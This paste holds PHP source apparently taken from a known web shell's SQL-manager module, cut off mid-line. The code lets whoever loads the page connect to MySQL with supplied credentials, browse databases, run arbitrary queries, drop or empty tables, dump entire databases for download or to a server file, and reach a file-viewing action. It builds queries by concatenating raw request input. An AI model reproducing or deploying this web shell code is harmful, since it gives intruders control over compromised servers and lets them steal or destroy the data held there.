· 8 years ago · May 05, 2018, 08:48 AM
1
2<?php
3//Information Table
4echo "<table id=maininfo><tr><td width=\"100%\">\n";
5//Action
6if ($act == "") { $act = $dspact = "ls"; }
7if ($act == "phpini" ) { get_phpini(); }
8if ($act == "sql") {
9 $sql_surl = $surl."act=sql";
10 if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
11 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
12 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
13 if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
14 if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
15 $sql_surl .= "&";
16 echo "<h4>Attention! SQL-Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>".
17 "<table>".
18 "<tr><td width=\"100%\" colspan=2 class=barheader>";
19 if ($sql_server) {
20 $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
21 $err = mysql_smarterror();
22 @mysql_select_db($sql_db,$sql_sock);
23 if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
24 }
25 else {$sql_sock = FALSE;}
26 echo ".: SQL Manager :.<br>";
27 if (!$sql_sock) {
28 if (!$sql_server) {echo "NO CONNECTION";}
29 else {echo "Can't connect! ".$err;}
30 }
31 else {
32 $sqlquicklaunch = array();
33 $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
34 $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
35 $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
36 $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
37 $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
38 $sqlquicklaunch[] = array("Logout",$surl."act=sql");
39 echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
40 if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
41 }
42 echo "</td></tr><tr>";
43 if (!$sql_sock) {
44 echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
45 echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
46 }
47 else {
48 //Start left panel
49 if (!empty($sql_db)) {
50 ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
51 <?php
52 $result = mysql_list_tables($sql_db);
53 if (!$result) {echo mysql_smarterror();}
54 else {
55 echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
56 $c = 0;
57 while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+ <a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
58 if (!$c) {echo "No tables found in database.";}
59 }
60 }
61 else {
62 ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
63 <?php
64 $result = mysql_list_dbs($sql_sock);
65 if (!$result) {echo mysql_smarterror();}
66 else {
67 ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
68 <?php
69 $c = 0;
70 $dbs = "";
71 while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
72 echo "<option value=\"\">Databases (".$c.")</option>";
73 echo $dbs;
74 }
75 ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
76 <?php
77 }
78 //End left panel
79 echo "</td><td width=\"100%\">";
80 //Start center panel
81 $diplay = TRUE;
82 if ($sql_db) {
83 if (!is_numeric($c)) {$c = 0;}
84 if ($c == 0) {$c = "no";}
85 echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
86 if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
87 echo "</b></center>";
88 $acts = array("","dump");
89 if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
90 elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
91 elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
92 elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
93 elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
94 elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
95 elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
96 elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
97 elseif ($sql_tbl_act == "insert") {
98 if ($sql_tbl_insert_radio == 1) {
99 $keys = "";
100 $akeys = array_keys($sql_tbl_insert);
101 foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
102 if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
103 $values = "";
104 $i = 0;
105 foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
106 if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
107 $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
108 $sql_act = "query";
109 $sql_tbl_act = "browse";
110 }
111 elseif ($sql_tbl_insert_radio == 2) {
112 $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
113 $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
114 $result = mysql_query($sql_query) or print(mysql_smarterror());
115 $result = mysql_fetch_array($result, MYSQL_ASSOC);
116 $sql_act = "query";
117 $sql_tbl_act = "browse";
118 }
119 }
120 if ($sql_act == "query") {
121 echo "<hr size=\"1\" noshade>";
122 if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
123 if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
124 if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
125 }
126 if (in_array($sql_act,$acts)) {
127 ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
128 <form action="<?php echo $surl; ?>">
129 <input type="hidden" name="act" value="sql">
130 <input type="hidden" name="sql_act" value="newtbl">
131 <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
132 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
133 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
134 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
135 <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
136 <input type="text" name="sql_newtbl" size="20">
137 <input type="submit" value="Create">
138 </form></td>
139 <td width="30%" height="1"><b>Dump DB:</b>
140 <form action="<?php echo $surl; ?>">
141 <input type="hidden" name="act" value="sql">
142 <input type="hidden" name="sql_act" value="dump">
143 <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
144 <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
145 <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
146 <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
147 <?php
148 if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
149 if ($sql_act == "newtbl") {
150 echo "<b>";
151 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
152 echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
153 }
154 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
155 }
156 elseif ($sql_act == "dump") {
157 if (empty($submit)) {
158 $diplay = FALSE;
159 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
160 echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
161 $v = join (";",$dmptbls);
162 echo "<b>Only tables (explode \";\") <b><sup>1</sup></b>:</b> <input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
163 if ($dump_file) {$tmp = $dump_file;}
164 else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
165 echo "<b>File:</b> <input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
166 echo "<b>Download: </b> <input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
167 echo "<b>Save to file: </b> <input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
168 echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
169 echo "</form>";
170 }
171 else {
172 $diplay = TRUE;
173 $set = array();
174 $set["sock"] = $sql_sock;
175 $set["db"] = $sql_db;
176 $dump_out = "download";
177 $set["print"] = 0;
178 $set["nl2br"] = 0;
179 $set[""] = 0;
180 $set["file"] = $dump_file;
181 $set["add_drop"] = TRUE;
182 $set["onlytabs"] = array();
183 if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
184 $ret = mysql_dump($set);
185 if ($sql_dump_download) {
186 @ob_clean();
187 header("Content-type: application/octet-stream");
188 header("Content-length: ".strlen($ret));
189 header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
190 echo $ret;
191 exit;
192 }
193 elseif ($sql_dump_savetofile) {
194 $fp = fopen($sql_dump_file,"w");
195 if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
196 else {
197 fwrite($fp,$ret);
198 fclose($fp);
199 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
200 }
201 }
202 else {echo "<b>Dump: nothing to do!</b>";}
203 }
204 }
205 if ($diplay) {
206 if (!empty($sql_tbl)) {
207 if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
208 $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
209 $count_row = mysql_fetch_array($count);
210 mysql_free_result($count);
211 $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
212 $tbl_struct_fields = array();
213 while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
214 if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
215 if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
216 if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
217 if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
218 $perpage = $sql_tbl_le - $sql_tbl_ls;
219 if (!is_numeric($perpage)) {$perpage = 10;}
220 $numpages = $count_row[0]/$perpage;
221 $e = explode(" ",$sql_order);
222 if (count($e) == 2) {
223 if ($e[0] == "d") {$asc_desc = "DESC";}
224 else {$asc_desc = "ASC";}
225 $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
226 }
227 else {$v = "";}
228 $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
229 $result = mysql_query($query) or print(mysql_smarterror());
230 echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
231 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a> ";
232 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a> ";
233 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
234 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[ <b>Insert</b> ]</a> ";
235 if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
236 if ($sql_tbl_act == "insert") {
237 if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
238 if (!empty($sql_tbl_insert_radio)) { } //Not Ready
239 else {
240 echo "<br><br><b>Inserting row into table:</b><br>";
241 if (!empty($sql_tbl_insert_q)) {
242 $sql_query = "SELECT * FROM `".$sql_tbl."`";
243 $sql_query .= " WHERE".$sql_tbl_insert_q;
244 $sql_query .= " LIMIT 1;";
245 $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
246 $values = mysql_fetch_assoc($result);
247 mysql_free_result($result);
248 }
249 else {$values = array();}
250 echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
251 foreach ($tbl_struct_fields as $field) {
252 $name = $field["Field"];
253 if (empty($sql_tbl_insert_q)) {$v = "";}
254 echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
255 $i++;
256 }
257 echo "</table><br>";
258 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
259 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
260 echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
261 }
262 }
263 if ($sql_tbl_act == "browse") {
264 $sql_tbl_ls = abs($sql_tbl_ls);
265 $sql_tbl_le = abs($sql_tbl_le);
266 echo "<hr size=\"1\" noshade>";
267 echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\"> ";
268 $b = 0;
269 for($i=0;$i<$numpages;$i++) {
270 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
271 echo $i;
272 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
273 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
274 else {echo " ";}
275 }
276 if ($i == 0) {echo "empty";}
277 echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
278 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
279 echo "<tr>";
280 echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
281 for ($i=0;$i<mysql_num_fields($result);$i++) {
282 $v = mysql_field_name($result,$i);
283 if ($e[0] == "a") {$s = "d"; $m = "asc";}
284 else {$s = "a"; $m = "desc";}
285 echo "<td>";
286 if (empty($e[0])) {$e[0] = "a";}
287 if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
288 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
289 echo "</td>";
290 }
291 echo "<td><font color=\"green\"><b>Action</b></font></td>";
292 echo "</tr>";
293 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
294 echo "<tr>";
295 $w = "";
296 $i = 0;
297 foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
298 if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
299 echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
300 $i = 0;
301 foreach ($row as $k=>$v)
302 {
303 $v = htmlspecialchars($v);
304 if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
305 echo "<td>".$v."</td>";
306 $i++;
307 }
308 echo "<td>";
309 echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a> ";
310 echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a> ";
311 echo "</td>";
312 echo "</tr>";
313 }
314 mysql_free_result($result);
315 echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
316 echo "<option value=\"\">With selected:</option>";
317 echo "<option value=\"deleterow\">Delete</option>";
318 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
319 }
320 }
321 else {
322 $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
323 if (!$result) {echo mysql_smarterror();}
324 else
325 {
326 echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
327 $i = 0;
328 $tsize = $trows = 0;
329 while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
330 {
331 $tsize += $row["Data_length"];
332 $trows += $row["Rows"];
333 $size = view_size($row["Data_length"]);
334 echo "<tr>";
335 echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
336 echo "<td> <a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a> </td>";
337 echo "<td>".$row["Rows"]."</td>";
338 echo "<td>".$row["Type"]."</td>";
339 echo "<td>".$row["Create_time"]."</td>";
340 echo "<td>".$row["Update_time"]."</td>";
341 echo "<td>".$size."</td>";
342 echo "<td> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a> <a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a> </td>";
343 echo "</tr>";
344 $i++;
345 }
346 echo "<tr bgcolor=\"000000\">";
347 echo "<td><center><b>+</b></center></td>";
348 echo "<td><center><b>".$i." table(s)</b></center></td>";
349 echo "<td><b>".$trows."</b></td>";
350 echo "<td>".$row[1]."</td>";
351 echo "<td>".$row[10]."</td>";
352 echo "<td>".$row[11]."</td>";
353 echo "<td><b>".view_size($tsize)."</b></td>";
354 echo "<td></td>";
355 echo "</tr>";
356 echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
357 echo "<option value=\"\">With selected:</option>";
358 echo "<option value=\"tbldrop\">Drop</option>";
359 echo "<option value=\"tblempty\">Empty</option>";
360 echo "<option value=\"tbldump\">Dump</option>";
361 echo "<option value=\"tblcheck\">Check table</option>";
362 echo "<option value=\"tbloptimize\">Optimize table</option>";
363 echo "<option value=\"tblrepair\">Repair table</option>";
364 echo "<option value=\"tblanalyze\">Analyze table</option>";
365 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
366 mysql_free_result($result);
367 }
368 }
369 }
370 }
371 }
372 else {
373 $acts = array("","newdb","serverstatus","servervars","processes","getfile");
374 if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input 